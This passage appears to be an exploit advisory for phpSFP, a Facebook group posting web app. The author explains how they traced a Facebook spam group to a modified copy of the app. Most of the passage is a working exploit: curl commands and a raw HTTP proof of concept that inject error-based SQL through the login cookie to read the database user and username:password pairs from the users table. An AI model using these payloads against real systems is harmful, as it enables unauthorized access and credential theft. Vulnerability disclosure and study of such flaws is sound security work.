It helps to send messages, ads, events, news and so on. phpSFP is pretty popular more than its sale record thanks to nulled group (underground WebApp license crackers). [+] Background <3 ============================================================ I managed to track down a group of Vietnam-based Facebook spammer which posted ads on many FB groups I'm joined. And ended up with a website that is modified version (all phpSFP credits are removed) of phpSFP 1.4.1. so I did some matching and found the original application is phpSFP. Guess what happens when spammer mess up with offsec guy ;) [+] Exploit ============================================================ There are many possible ways to do SQLi, I will go with error-based which enabled by default on phpSFP xD $ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or extractvalue(rand(),concat(0x2e,user())) or '1|||1" in case you don't know, for further queries you have to change 'user()' to something else, e.g. $ curl http://path.to.phpsfp/index.php/login -b "login=1|||1' or extractvalue(rand(),concat(0x2e,(select concat_ws(0x3a,username,password) from users limit 1))) or '1|||2" don't forgot to do length()/substr() stuffs due to limitation of 32 characters in error message [+] Proof-of-Concept ============================================================ PoC Environment: Ubuntu 14.04, PHP 5.5.9, Apache 2.4.7 GET /index.php/login HTTP/1.1 Host: 192.168.33.103 Proxy-Connection: keep-alive Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Encoding: gzip, deflate, sdch Accept-Language: en-US,en;q=0.8 Cookie: login=1|||1' or extractvalue(rand(),concat(0x2e,(select concat_ws(0x3a,username,password) from users limit 1))) or '1|||2 HTTP/1.1 500 Internal Server Error Server: Apache/2.4.7 (Ubuntu) Date: Thu, 02 Apr 2015 13:15:08 GMT Content-Type: text/html; charset=UTF-8 Connection: keep-alive Set-Cookie: ci_session=; expires=Sat, 01-Apr-2017 13:15:08 GMT; Max-Age=63072000; path=/ Content-Length: 838 Database Error
